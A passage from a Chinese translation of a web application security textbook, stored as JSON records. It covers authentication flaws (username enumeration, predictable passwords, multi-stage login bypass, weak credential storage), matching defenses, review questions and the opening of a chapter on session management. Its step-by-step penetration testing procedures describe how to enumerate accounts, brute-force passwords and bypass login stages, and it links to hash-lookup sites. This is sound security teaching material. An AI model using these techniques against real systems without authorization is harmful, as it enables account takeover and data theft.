    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 尝试访问 http://mdsec.net/auth/293/ 6.2.10 非唯一性用户名 一些支持自我注册的应用程序允许用户指定他们自己的用户名，而且并不强制要求用户使用唯一的用户名。虽然这种应用程序极其少见，但我们还是见到过若干这类应用程序。 由于两方面的原因，这种设计存在一些缺陷。 在注册阶段或随后修改密码的过程中，共享同一个用户名的两个用户可能碰巧选择相同的密码。如果出现这种情况，应用程序要么拒绝第二名用户选择的密码，要么允许两个账户使用相同的证书。如果属于前者，应用程序将会向一名用户泄露另一名用户的证书； 如果属于后者，其中一名用户登录后会访问另一名用户的账户。 即使由于登录失败尝试次数方面的限制，在其他地方不可能实施这种攻击，攻击者仍然可以利用这种行为成功实施蛮力攻击。攻击者可以使用不同的密码，多次用一个特殊的用户名注册，同时监控说明使用该用户名和密码的账户已经存在的不同响应。攻击者不需以目标用户进行任何一次登录尝试，即可获取该用户的密码。 设计存在缺陷的自我注册功能还可能造成用户枚举漏洞。如果应用程序禁止使用相同的用户名，那么攻击者可以注册大量常见的用户名，从而确定遭到拒绝的现有用户名。 黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 （1）如果应用程序允许自我注册，尝试用不同的密码两次注册同一个用户名。 （2）如果应用程序阻止第二次注册企图，也可以利用这种行为枚举现有的用户名，虽然在主登录页面或其他地方不可能这样做。用一组常见的用户名进行多次注册尝试，设法确定被应用程序阻止的已注册用户名。 （3）如果可成功注册完全相同的用户名，尝试用相同的密码注册两个相同的用户名，以此确定应用程序的行为。 （a）如果以上做法得到错误消息，也可以利用这种行为实施一次蛮力攻击，虽然在主登录页面不可能实施这种攻击。针对一个枚举或猜测出的用户名发动攻击，尝试用一组常用密码多次注册这个用户名。如果应用程序拒绝某个特殊的密码，就可以发现目标账户的现有密码。 （b）如果没有得到错误消息，使用指定的证书登录，看看出现什么结果。可能需要注册几个用户，修改每个账户保存的不同数据，以确定这种行为是否可用于未授权访问其他用户的账户。 6.2.11 可预测的用户名 一些应用程序根据某种可以预测的顺序（如cust5331、cust5332）自动生成账户用户名。如果应用程序以这种方式运转，弄清了用户名顺序的攻击者就可以很快获得全部有效用户名，以此作为后续攻击的基础。与依赖不断提交由词汇驱动请求的枚举方法不同，这种确定用户名的方法不需实施入侵，也很少给应用程序造成干扰。 黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 （1）如果用户名由应用程序生成，设法获得几个连续的用户名，看能否从中看出任何顺序或模式。 （2）如果存在某种顺序或模式，向后推断列出所有可能的有效用户名。这种方法可作为需要有效用户名的登录蛮力攻击和其他攻击的基础，如利用访问控制漏洞（请参阅第8章了解相关内容）。 黑客攻防技术宝典：Web实战篇（第2版） 尝试访问 http://mdsec.net/auth/169/ 6.2.12 可预测的初始密码 一些应用程序一次性或大批量创建用户，并自动指定初始密码，然后以某种方式将密码分配给所有用户。这种生成密码的方式可让攻击者能够预测其他应用程序用户的密码。基于内联网的企业应用程序常常存在这种漏洞。例如，应用程序为每位雇员创建一个账户，并向其发送一份打印好的密码通知。 如果所有用户收到相同的密码，或者根据其用户名或工作职能创建的密码，这种密码最容易被攻破。另外，生成的密码可能包含某种顺序，攻击者查看少数几个初始密码样本即可确定或猜测出其他用户的密码。 黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 （1）如果密码由应用程序生成，设法获得几个连续的密码，看能否从中看出任何顺序或模式。 （2）如果存在某种顺序或模式，根据这种模式推断，获取其他应用程序用户的密码。 （3）如果密码呈现出一种可能与用户名相联系的模式，可以设法使用已知或猜测出的用户名与相应推断出的密码进行登录。 （4）其他情况下，可以使用推断出的密码列表作为利用一组枚举出的用户名或常见用户名实施蛮力攻击的基础。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 尝试访问 http://mdsec.net/auth/172/ 6.2.13 证书分配不安全 许多应用程序并不在用户与应用程序正常交互的过程中分配新建账户的证书（如通过邮寄或电子邮件）。有时，采用这种分配方式主要出于安全考虑，例如，确保用户提供的邮寄或电子邮件地址属于其本人。 这种分配方式有时会带来安全风险。例如，如果分配证书的邮件中同时包含用户名和密码，没有给邮件设置使用时间限制，没有要求用户在第一次登录时修改密码，那么，大多数甚至是绝大部分应用程序用户都不会修改初始证书，并且将收到的邮件保存很长一段时间，而未授权方有可能在此期间访问这些分配证书的邮件。 有时应用程序并不分配证书，而是传送一个“账户激活”URL，用户通过它设置自己的初始密码。如果发送给连续用户的URL表现出某种顺序，攻击者就可以通过注册几个紧密相连的用户 确定这种顺序，以此推断出发送给最近与后续用户的激活URL。 某些Web应用程序表现的一种相关行为是，允许新用户以看似安全的方式注册账户，然后向每个新用户发送一封包含其完整的登录证书的欢迎电子邮件。最糟糕的情况是，具有安全意识的用户决定立即修改可能已被攻破的密码，但随后又收到一封电子邮件，其中包含“以备日后参考”的新密码。这种行为相当奇怪，并且完全没有必要，因此，我们强烈建议用户停止使用表现出此类行为的Web应用程序。 黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 （1）获得一个新账户。如果应用程序并不要求在注册阶段设置所有证书，弄清应用程序如何向新用户分配证书。 （2）如果应用程序使用账户激活URL，设法注册几个紧密相连的新账户，确定收到的URL中的任何顺序。如果确定某种模式，尝试预测应用程序发送给最近与后续用户的激活URL，尝试使用这些URL占有他们的账户。 （3）尝试多次重复使用同一个激活URL，看看应用程序是否允许这样做。如果遭到拒绝，尝试在重复使用URL之前锁定目标账户，看看现在这种方法是否可行。 黑客攻防技术宝典：Web实战篇（第2版） 6.3 验证机制执行缺陷 由于在执行过程中存在错误，即使精心设计的验证机制也可能非常不安全。这些错误可能导致信息泄露、完全避开登录，或者使验证机制的总体安全弱化。与保密性不强的密码和可被蛮力攻击之类的设计缺陷相比，执行缺陷往往更加细微，更难以发现。由于大量威胁模型和渗透测试可能已经发现了最为注重安全的应用程序中的任何明显的执行缺陷，针对这类缺陷实施攻击通常会取得更大的成果。我们曾在某大型银行所采用的Web应用程序中发现以下所述的执行缺陷。 6.3.1 故障开放登录机制 故障开放逻辑是一种逻辑缺陷（将在第11章详细描述），如果验证机制中出现这种缺陷，就会造成十分严重的后果。 下面是一个精心设计的故障开放登录机制实例。如果由于某种原因，调用db.getUser（）产生异常（例如，因为用户的请求中没有用户名或密码参数而出现空指针异常），用户仍然可以成功登录。虽然产生的会话可能并不属于某个特殊的用户，因此无法执行其全部功能，但攻击者仍然可以通过这种方法访问一些敏感数据或功能。 实际上，我们不能指望这样的代码通过即使是最简单的安全审查。但是，在更复杂的机制中很可能存在概念相同的缺陷。这些机制会产生大量分层方式调用，可能会出现许多潜在的错误并在不同的位置对它们进行处理，其中更复杂的确认逻辑可能需要维护重要的登录进展状态。 黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 （1）使用控制的一个账户执行一次完整、有效的登录。使用拦截代理服务器记录提交的每一份数据、收到的每一个响应。 （2）多次重复登录过程，以非常规方式修改提交的数据。例如，对于客户端传送的每个请求参数或cookie： （a）提交一个空字符串值； （b）完全删除名/值对； （c）提交非常长和非常短的值； （d）提交字符串代替数字或相反； （e）以相同和不同的值，多次提交同一个数据项。 （3）仔细检查应用程序对提交的每个畸形请求的响应，确定任何不同于基本情况的差异。 （4）根据这些观察结果调整测试过程。如果某个修改造成行为改变，设法将这个修改与其他更改组合在一起，使应用程序的逻辑达到最大限度。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 尝试访问 http://mdsec.net/auth/300/ 6.3.2 多阶段登录机制中的缺陷 一些应用程序使用精心设计的多阶段登录机制，例如： 输入用户名和密码； 响应一个质询，答案是PIN中的特殊数字或一个值得纪念的词； 提交在不断变化的物理令牌上显示的某个值。 多阶段登录机制旨在提高基于用户名和密码的简单登录模型的安全性。通常，多阶段登录机制首先要求用户通过用户名或类似数据项确认自己的身份；随后，登录阶段再执行各种验证检查。这种机制常常存在安全漏洞，特别是各种逻辑缺陷（请参阅第11章了解相关内容）。 错误观点 人们常常认为多阶段登录机制比标准的用户名/密码验证的安全漏洞更少。这种看法是错误的。执行多次验证检查可能会显著提高登录机制的安全性。但相应地，这个过程也存在更多的执行缺陷。如果一个多阶段登录机制存在多个执行缺陷，它甚至还没有基于用户名和密码的正常登录安全。 在执行过程中，一些多阶段登录机制对用户与早先阶段的交互做出潜在不安全的假设，如下所示。 应用程序可能认为访问第三阶段的用户已经完成第一、二阶段的验证。因此，它可能允许直接由第一阶段进入第三阶段并且提供正确证书的攻击者通过验证，使仅拥有部分正常登录所需的各种证书的攻击者能够成功登录。 应用程序可能会信任由第二阶段处理的一些数据，因为这些数据已经在第一阶段得到确认。但是，攻击者能够在第二阶段操控这些数据，提供一个不同于第一阶段的值。例如，在第一阶段，应用程序会判定用户的账户是否已经过期、被锁定或者属于管理用户，或者是否需要完成第二阶段以外的其他登录阶段。如果攻击者能在不同登录阶段的转换过程中干扰这些标记，他们就可以更改应用程序的行为，让他们只需部分证书即可通过验证，或者提升其权限。 应用程序可能认为每个阶段的用户身份不会发生变化，因此，它并不在每个阶段明确确认用户身份。例如，第一阶段可能需要提交一个有效的用户名和密码，第二阶段需要重新提交用户名（此时保存在隐藏表单字段中）和不断变化的物理令牌上的一个值。如果攻击者在每个阶段提交有效的数据对，但这些数据属于两个不同的用户，那么应用程序可能会允许该用户通过验证，认为他是两名用户中的任意一名用户。这就允许拥有自己物理令牌并发现其他用户密码的攻击者能够以该用户的身份登录（反之亦然）。虽然不对其他信息加以利用，攻击者无法完全攻破登录机制，但它的总体安全状态已严重削弱，应用程序为执行二元机制所投入的大量开支和努力并未取得预期的效果。 黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 （1）使用控制的一个账户执行一次完整、有效的登录。使用拦截代理服务器记录向应用程序提交的每一份数据。 （2）确定各个不同登录阶段以及在每个阶段收集到的数据。确定是否不止一次收到某条信 息，或者是否有信息被返回给客户端，并通过隐藏表单字段、cookie或者预先设置的URL参数重新提交（请参阅第5章了解相关内容）。 （3）使用各种畸形请求多次重复登录过程： （a）尝试按不同的顺序完成登录步骤； （b）尝试直接进入任何特定的阶段，从那里继续登录； （c）尝试省略每个阶段并从下一阶段继续登录； （d）运用想象力，想出其他开发者无法预料的方式访问不同的登录阶段。 （4）如果有数据不止提交一次，尝试在另一个阶段提交一个不同的值，看看是否仍然能够成功登录。有些提交数据可能是多余的，实际上并不由应用程序处理。有些数据在某个阶段得到确认，随后就被应用程序所信任。在这种情况下，尝试在一个阶段提供一名用户的证书，然后在下一阶段转换成由另一名用户进行验证。应用程序可能在几个阶段都对同一个数据进行确认，但执行不同的检查。在这种情况下，尝试在第一个阶段提供（例如）一名用户的用户名和密码，然后在第二个阶段提供另一名用户的用户名和PIN号码。 （5）特别注意任何通过客户端传送、并不由用户直接输入的数据。应用程序可能使用它们保存登录进展状态信息，并且信任这些数据。例如，如果第三个阶段的请求中包含参数stage2complete=true，那么攻击者就可以通过设置这个值直接进入第三个阶段。尝试修改应用程序提交的值，确定是否可以使用这种方法进入或省略登录阶段。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 尝试访问 http://mdsec.net/auth/195/ http://mdsec.net/auth/199/ http://mdsec.net/auth/203/ http://mdsec.net/auth/206/ http://mdsec.net/auth/211/ 一些登录机制在其中一个登录阶段提出一个随机变化的问题。例如，提交用户名和密码后，应用程序会向用户提出许多“机密”问题中的一个（关于用户母亲的娘家姓、出生地、小学名称等），或者要求其提交一个机密短语中的两个随机字母。采用这种做法的基本原理在于：即使攻击者截获了用户在某个时候输入的全部信息，他也无法在其他时刻作为该用户登录，因为这时应用程序将提出不同的问题。 在某些执行过程中，这种功能会遭到破坏，因而无法实现其目的。 应用程序可能会提出一个随机选择的问题，把有关问题的细节保存在隐藏的HTML表单字段中，而不是服务器上。随后用户提交该问题及其答案。这样，攻击者就能够选择回答哪个问题，允许他们截获用户在某个时候的输入后，重复使用截获的信息进行登录。 应用程序可能会对每个登录尝试提出一个随机选择的问题，但如果某个用户无法回答该问题，它并不记住向该用户提出了什么问题。如果该用户稍后又提交一次登录尝试，应 用程序又生成另一个随机问题。这允许攻击者遍历所有问题，直到收到他们知道答案的那个问题，从而利用在某个时候截获的用户输入重复进行登录。 注解 上面的第二种情况确实相当微妙，因此，许多现实中的应用程序都易于受到攻击。初看上去，要求用户回答一个值得纪念的词中的两个字母的应用程序似乎能够正常运转，增强登录机制的安全。但是，如果每次在通过前一个验证阶段后随机选择两个字母，那么截获用户在某个时候的登录信息的攻击者只需重复进入这个验证阶段，直到应用程序要求提交他知道的两个字母为止，这样做也不存在任何账户锁定风险。 黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 （1）如果一个登录阶段使用一个随机变化的问题，确定问题本身是否和回答一起提交。如果是这样，改变这个问题并提交正确答案，看看是否仍然能够成功登录。 （2）如果应用程序并不允许攻击者提交任意问题和答案，用同一个账户进行部分登录，每次进行到出现不同的问题为止。如果每次都出现不同的问题，那么攻击者仍然能够选择回答哪个问题。 黑客攻防技术宝典：Web实战篇（第2版） 尝试访问 http://mdsec.net/auth/178/ http://mdsec.net/auth/182/ 注解 在一些登录组件随机变化的应用程序中，应用程序在一个阶段收集用户的全部证书。例如，主登录页面中可能显示一个表单，其中包含用户名、密码和一个机密问题字段，且当每次加载登录页面时，机密问题都会发生改变。在这种情况下，机密问题的随机性根本无法阻止已经截获一名用户在某个时候的输入信息的攻击者重新传送有效的登录请求，也无法修改登录过程以实现这种目的，因为攻击者只需重复加载登录页面，直到找到他知道答案的问题。在另一种类似的情况下，应用程序可能会设置一个持久性cookie，“确保”向特定用户提出相同的问题，直到该用户正确回答这个问题。当然，攻击者只需修改或删除这个cookie就能够轻易避开这种防御措施。 6.3.3 不安全的证书存储 如果应用程序以不安全的方式存储登录证书，那么，即使验证过程本身并不存在缺陷，登录机制的安全也会被削弱。 Web应用程序常常以危险的方式将用户证书存储在数据库中，这包括以明文形式存储密码。 但是，即使使用MD5或SHA-1等标准算法对密码进行散列处理，攻击者仍然可以在预先计算的散列值数据库中查找观察到的散列。因为应用程序使用的数据库账户必须能够随时读/写这些证书，攻击者可以利用应用程序中的许多其他漏洞访问这些证书，例如，命令、SQL注入漏洞（参阅第9章）或访问控制漏洞（参阅第8章）。 黑客攻防技术宝典：Web实战篇（第2版） 尝试访问 一些在线数据库的常见散列函数可从以下网址查看： http://passcracking.com/index.php http://authsecu.com/decrypter-dechiffrer-cracker-hash-md5/script-hash-md5.php 黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 （1）分析应用程序中所有与验证有关的功能以及任何与用户维护有关的功能。如果发现任何向客户端返回用户密码的情况，即表明应用程序并未以安全的方式保存密码，或者密码以明文方式呈现，或应用程序使用了可还原加密形式保存密码。 （2）如果发现应用程序中存在任何一种任意命令或查询执行漏洞，设法确定应用程序将用户证书保存在数据库或文件系统的什么位置。 （a）找到这些位置，弄清应用程序是否以非加密形式保存密码。 （b）如果以散列形式存储密码，则应检查表明账户分配有常用或默认密码，以及散列并未经过“加salt”处理的非唯一值。 （c）如果使用标准算法以“不加salt的散列”形式存储密码，则应查询在线散列数据库，以确定对应的明文密码值。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 6.4 保障验证机制的安全 执行安全的验证解决方案需要同时满足几个关键安全目标，许多时候也需要牺牲其他目标，如功能、易用性和总成本。"},
    {"text": "鉴于验证漏洞的多样性，以及应用程序需要采取非常复杂的防御措施以减轻所有这些漏洞的危害，许多应用程序设计者与开发者选择接受某些威胁，以集中精力阻止最严重的攻击。"},
    {"text": "这些要求包括：最小密码长度，使用字母、数字和排版字符，同时使用大、小写字符，避免使用字典中的单词、名称和其他常见密码，避免以用户名为密码，避免使用和以前的密码相似或完全相同的密码。"},
    {"text": "所有服务器—客户端应用程序组件应这样保存证书：即使攻击者能够访问应用程序数据库中存储的所有相关数据，他们也无法轻易恢复证书的原始值。"},
    {"text": "达到这种目的最常用的方法是使用强大的散列函数（如至本书截稿时的SHA-256函数），并对其进行“加salt处理”以降低预先计算的离线攻击（precomputed offline attack）的危害。"},
    {"text": "如果以非正常交互的形式向新建账户分配证书，应以尽可能安全的形式传送证书，并设置 时间限制，要求用户在第一次登录时更改证书，并告诉用户在初次使用后销毁通信渠道。"},
    {"text": "如果攻击者已经攻破用户的计算机，那么从理论上讲，他就能够记录计算机上发生的各种类型的事件，包括鼠标活动、通过HTTPS提交的表单以及截屏。"},
    {"text": "鉴于这种功能的危险程度，通常有必要从面向公众的应用程序中彻底删除该功能，只对内部管理用户开放该功能，而且他们使用伪装也应接受严格控制与审核。"},
    {"text": "为防止泄露的是哪个登录阶段失败（攻击者可利用它轮流针对每个阶段发动攻击）的信息，即使用户无法正确完成前面的阶段、即使最初的用户名无效，应用程序也应总是处理完所有的登录阶段。 在处理完所有的登录阶段后，应用程序应在最后阶段结束时呈现一条常规“登录失败”消息，并且不提供失败位置的任何信息。"},
    {"text": "如果已向某一用户提出一个特定的问题，将该问题保存在永久性用户资料中，确保每次该用户尝试登录时向其提出相同的问题，直到该用户正确回答这个问题。"},
    {"text": "如果向某个用户提出一个随机变化的质询，将提出的问题保存在服务器端会话变量而非HTML表单的隐藏字段中，并根据保存的问题核实用户随后提供的答案。"},
    {"text": "例如，为防止攻击者选择回答他知道答案的问题，应用程序可能会将该用户提出的最后一个问题保存在用户资料中，并不断提出该问题直到得到正确答案。"},
    {"text": "但是，如果攻击者使用一个无效的用户名进行相同的操作，应用程序处理的方法可能会有所不同：由于没有与无效用户名有关的用户资料，也没有问题被保存起来，因此，应用程序将提出一个不同的问题。"},
    {"text": "如果收到使用无效用户名发起的登录尝试，应用程序必须在某个位置记录向这个无效用户名提出的随机问题，并确保随后使用这个用户名登录都会遇到相同的问题。"},
    {"text": "6.4.4 防止信息泄露 应用程序使用的各种验证机制不应通过公开的消息，或者通过从应用程序的其他行为进行推断，来揭示关于验证参数的任何信息。"},
    {"text": "这样做可避免由不同代码路径返回的本应不包含大量信息的消息，因为消息排版方面的差异、不同的HTTP状态码、其他隐藏在HTML中的信息等内容而让攻击者看出差别，从而产生一个细微的漏洞。"},
    {"text": "为避免用户名枚举，如果从相同浏览器发出一系列失败的登录尝试，应用程序应通过一条常规消息提出警告：如果出现多次登录失败，账户将被冻结，并建议用户稍后再试。"},
    {"text": "不允许自我选择用户名，应用程序可为每个新用户建立一个唯一（和无法预测）的用户名，防止应用程序披露表明一个选定的用户名已经存在的信息。"},
    {"text": "如果是这样，应用程序会在登录过程的第一个阶段要求用户输入他们的电子邮件地址，然后告诉他们等待接收一封电子邮件，按照其中的指示操作。 如果电子邮件地址已经被注册，应用程序会在电子邮件中通知用户。"},
    {"text": "使用无法预测的用户名，同时阻止用户名枚举，给完全盲目的蛮力攻击设置巨大障碍，并要求攻击者在实施攻击前已经通过某种方式发现一个或几个特殊的用户名。"},
    {"text": "一些对安全性要求极高的应用程序（如电子银行）在检测到少数几次（如3次）登录失败后应立即禁用该账户，并要求账户所有者采取各种非常规步骤重新激活该账户，如给呼叫中心拨打电话并回答一系列安全问题。"},
    {"text": "相反，应用程序应对一系列即使是使用无效用户名发起的失败登录做出响应，通过一条常规消息提出警告：如果出现多次登录失败，账户将被冻结，建议用户稍后再试（如前文所述）。"},
    {"text": "但告知攻击者应用程序到底能够容忍多少次失败的登录尝试、账户冻结期有多长，就会让他们对任何登录尝试进行调整，不顾账户锁定策略而继续猜测密码。"},
    {"text": "因为一些应用程序在冻结期继续完全处理登录尝试，并且在提交有效证书时返回一条差异并不明显（或者差异比较明显）的消息，因此尽管应用程序执行账户冻结策略，攻击者仍然能够利用这种行为实施彻底有效的蛮力攻击。"},
    {"text": "除以上控制外，应用程序还可以在每个可能成为蛮力攻击目标的页面（见图6-9）使用CAPTCHA [2] （全自动区分人类和计算机的图灵测试）质询，专门防御这种攻击。"},
    {"text": "图6-9 旨在阻止自动攻击的CAPTCHA控件 提示 攻击者在攻击一个使用CPATCHA控件阻止自动攻击的应用程序时一定会仔细检查图像页面的HTML源代码。"},
    {"text": "我们曾遇到过许多实例，其中谜题的答案以文字形式出现在图像标签的ALT属性或一个隐藏表单字段中，这使精明的攻击者不必解开谜题就可以解除应用程序执行的保护。"},
    {"text": "6.4.6 防止滥用密码修改功能 应用程序应始终执行密码修改功能，允许定期使用的密码到期终止（如有必要）并允许用户修改密码（不管他们出于任何原因希望修改密码）。"},
    {"text": "作为一项高级防御措施，应用程序应对密码修改功能加以保护，防止攻击者通过其他安全缺陷，如会话劫持漏洞、跨站点脚本，甚至是无人看管的终端获得未授权访问。"},
    {"text": "6.4.7 防止滥用账户恢复功能 当用户遗忘密码时，许多安全性至关重要的应用程序（如电子银行）通过非常规方式完成账户恢复：用户必须给呼叫中心打电话并回答一系列安全问题；"},
    {"text": "此外，最好不要直接进入密码重设功能，因为与初始密码相比，攻击者通常更容易猜测出账户恢复质询的响应，因此应用程序不应依赖它对用户进行验证。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 6.5 小结 验证功能可能是应用程序受攻击面中的首要目标。并无特权的匿名用户可直接访问该功能；如果攻击者破坏了该功能，就可以访问受到保护的功能和敏感数据。验证功能是应用程序安全防御机制的核心，也是防御未授权访问的前沿阵地。 现实中的验证机制存在着大量的设计与执行缺陷。使用系统化的方法尝试各种攻击途径，即可对这些缺陷发起全面有效的攻击。许多时候，攻击目标显而易见，如保密性不强的密码、发现用户名的方法和蛮力攻击漏洞。另一方面，有些缺陷隐藏得很深，需要对复杂的登录过程进行仔细的分析才能发现可供利用以“敲开应用程序大门”的细微逻辑缺陷。 “四处查探”是攻击验证功能最常用的方法。除主登录表单外，可能还包括注册新账户、修改密码、记住密码、恢复遗忘的密码与伪装其他用户等功能。以上每一种功能都可能成为潜在缺陷的主要来源，在一项功能中特意避免的问题往往又会在其他功能中重新出现。花费一些时间仔细检查所能发现的每一个受攻击面，应用程序验证机制的安全性将会得到显著增强。 黑客攻防技术宝典：Web实战篇（第2版） 6.6 问题 欲知问题答案，请访问http://mdsec.net/wahh。 （1）在测试一个使用joe和pass证书登录的Web应用程序的过程中，在登录阶段，在拦截代理服务器上看到一个要求访问以下URL的请求： http://www.wahh-app.com/app?action=login&uname=joe&password=pass 如果不再进行其他探测，可以确定哪3种漏洞？ （2）自我注册功能如何会引入用户名枚举漏洞？如何防止这些漏洞？ （3）一个登录机制由以下步骤组成： （a）应用程序要求用户提交用户名和密码； （b）应用程序要求用户提交值得纪念的词中的两个随机选择的字母。 应用程序为何要求用户分两个阶段提供所需的信息？如果不这样做，登录机制将存在什么缺陷？ （4）一个多阶段登录机制要求用户首先提交用户名，然后在后续阶段中提交其他信息。如果用户提交任何无效的数据，立即返回到第一个阶段。 这种机制存在什么缺点？如何修复这种漏洞？ （5）应用程序在登录功能中整合了反钓鱼机制。注册过程中，每名用户从应用程序提供的大量图片中选择一幅特殊的图片。登录机制由以下步骤组成： （a）用户输入其用户名和出生日期； （b）如果这些信息无误，应用程序向用户显示他们选择的图片，如果信息有误，随机显示一幅图片； （c）用户核实应用程序显示的图片，如果图片正确，输入他们的密码。 反钓鱼机制的作用在于：它向用户确认，他们使用的是真实而非“克隆”的应用程序，因为只有真正的应用程序才能显示正确的图片。 反钓鱼机制给登录功能造成什么漏洞？这种机制能够有效阻止钓鱼攻击吗？ [1] CAPTCHA项目是 Completely Automated Public Turing Test to Tell Computers and Humans Apart （全自动区分计算机和人类的图灵测试）的简称，已由卡内基梅隆大学注册商标。CAPTCHA是区分计算机和人类的一种程序算法，这种程序必须能生成并评价人类能很容易通过但计算机却通不过的测试。这个要求本身就是悖论，因为这意味着一个CAPTCHA必须能生成一个它自己不能通过的测试。——译者注 [2] 社会工程（Social Engineering）是一种利用人的弱点（如人的本能反应、好奇心、信任、贪婪等进行诸如欺骗、伤害等危害手段），获取自身利益的攻击方法。——译者注 黑客攻防技术宝典：Web实战篇（第2版） 第7章 攻击会话管理 在 绝大多数Web应用程序中，会话管理机制是一个基本的安全组件。它帮助应用程序从大量不同的请求中确认特定的用户，并处理它收集的关于用户与应用程序交互状态的数据。会话管理在应用程序执行登录功能时显得特别重要，因为它可在用户通过请求提交他们的证书后，持续向应用程序保证任何特定用户身份的真实性。 由于会话管理机制所发挥的关键作用，它们成为针对应用程序的恶意攻击的主要目标。如果攻击者能够破坏应用程序的会话管理，他就能轻易避开其实施的验证机制，不需要用户证书即可伪装成其他应用程序用户。如果攻击者以这种方式攻破一个管理用户，那么他就能够控制整个应用程序。 和验证机制一样，通常会话管理功能中也存在着大量缺陷。在最容易遭受攻击的情况下，攻击者只需递增应用程序向他们发布的令牌值，就可以转换到另一名用户的账户。在这种情况下，任何人都可以访问应用程序的全部功能。另一方面，如果应用程序受到严密保护，攻击者必须付出巨大的努力，破解几层模糊处理并实施复杂的自动攻击，才能发现应用程序中存在的细小漏洞。 本章将分析我们在现实世界的Web应用程序中发现的各种漏洞，详细说明发现和利用这些漏洞所需执行的实际步骤。最后还将描述应用程序为防止这些攻击所应采取的防御措施。 错误观点 “我们使用智能卡进行验证，没有智能卡攻击者不可能攻破用户会话。” 无论应用程序的验证机制多么安全稳定，只有通过会话用户随后提出的请求才能与验证机制建立联系。如果应用程序的会话管理存在缺陷，攻击者仍然能够避开可靠的验证机制，危及用户的安全。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 7.1 状态要求 从本质上讲，HTTP协议没有状态。它基于一种简单的请求—响应模型，其中每对消息代表一个独立的事务。协议本身并无将某位用户提出的各种请求联系起来的机制，并将它们与Web服务器收到的所有其他请求区分开来。在Web发展的早期阶段，并没有必要建立这种机制：因为Web站点公布的是任何人都可以查阅的静态HTML页面。但如今，情况已经发生了巨大变化。 绝大多数的Web“站点”实际为Web应用程序。它们允许用户注册与登录；帮助用户购买及销售产品。它们能够在用户下次访问时记住他的喜好。它们可根据用户的单击和输入，通过动态建立的内容提供丰富、多媒体形式的使用体验。为执行这些功能，应用程序就需要使用会话。 支持登录是会话在应用程序中最主要的用途。输入用户名和密码后，可以用输入的证书所属的用户身份使用应用程序，直到退出会话或由于会话处于非活动状态而终止。用户不希望在每个应用程序页面重复输入密码。因此，一旦用户通过验证，应用程序就会为他建立一个会话，把所有属于这个会话的请求当做该用户提出的请求处理。 不具备登录功能的应用程序通常也需要使用会话。许多出售商品的站点并不要求顾客建立账户。但是，它们允许用户浏览目录、往购物篮中添加商品、提供交货信息并进行支付。在这种情形下，就没有必要验证用户的身份：应用程序并不知道或关心绝大多数用户的身份。但是，为了与他们进行交易，应用程序需要知道它收到的哪些请求来自同一名用户。 执行会话最简单、最常见的方法就是向每名用户发布一个唯一的会话令牌或标识符。用户在随后向应用程序提出的每一个请求中提交这个令牌，帮助应用程序在当前请求与前面提出的请求之间建立关联。 在大多数情况下，应用程序使用HTTP cookie作为在服务器与客户端间传送这些会话令牌的传输机制。服务器对新客户端的第一个响应中包含以下HTTP消息头： 客户端随后提出的请求中包含如下消息头： 这种标准的会话管理机制非常容易受到各种类型的攻击。当攻击会话机制时，攻击者的主要目标是以某种方式劫持一名合法用户的会话，由此伪装成这名用户。如果该用户已经通过应用程序的验证，攻击者就可以访问属于这名用户的私有数据，或者以他的身份执行未授权操作。如果该用户未能通过验证，攻击者仍然能够查看用户在会话过程中提交的敏感信息。 和前面示例中运行ASP.NET的Microsoft IIS服务器一样，许多商业Web服务器和Web应用程序平台执行它们自己的基于HTTP cookie的非定制会话管理解决方案。Web应用程序开发者可使用它们提供的API将会话依赖功能与这种解决方案整合起来。 事实证明，一些非定制会话管理解决方案易于受到各种攻击，导致用户的会话被攻破（这一问题将在本章后面讨论）。此外，一些开发者发现，他们需要比内置解决方案所提供的控制更加全面的会话行为控制，或者希望避免基于cookie的解决方案中存在的一些固有漏洞。鉴于这些原因，安全性至关重要的应用程序（如电子银行）通常使用定制或并非基于cookie的会话管理机制。 会话管理机制中存在的漏洞主要分为两类： 会话令牌生成过程中的薄弱环节； 在整个生命周期过程中处理会话令牌的薄弱环节。 我们将分别分析这些弱点，描述在现实世界的会话管理机制中常见的各种漏洞，以及发现和利用这些漏洞的实用技巧。最后将描述应用程序为防止这些攻击所应采取的防御措施。 黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 许多应用程序使用标准的cookie机制传输会话令牌，这样可直接确定哪些数据包含令牌。然而，在其他情况下，可能需要进行一番探测才能找到令牌。 （1）应用程序常常使用几个不同的数据共同表示一个令牌，包括cookie、URL参数和隐藏表单字段。其中一些数据可用于在不同的后端组件中维护会话状态。如果没有得到确认，不要想当然地认为某个特殊的参数就是会话令牌，或者只使用一个数据追踪会话。 （2）有时，一些数据似乎是应用程序的会话令牌，其实并非如此。具体来说，由Web服务器或应用程序平台生成的标准会话cookie可能存在，但实际并不被应用程序使用。 （3）用户通过验证后，观察浏览器收到哪些新数据项。应用程序通常会在用户通过验证后建立新的会话令牌。 （4）为确定应用程序到底使用哪些数据项作为令牌，找到一个确信依赖会话的页面（如某一名用户的“用户资料”页面），并向它提出几个请求，系统性地删除疑似被用作令牌的数据。如果删除某个数据后，应用程序不再返回会话依赖页面，即可确定该数据可能为会话令牌。Burp Repeater是执行这类测试的有效工具。"},
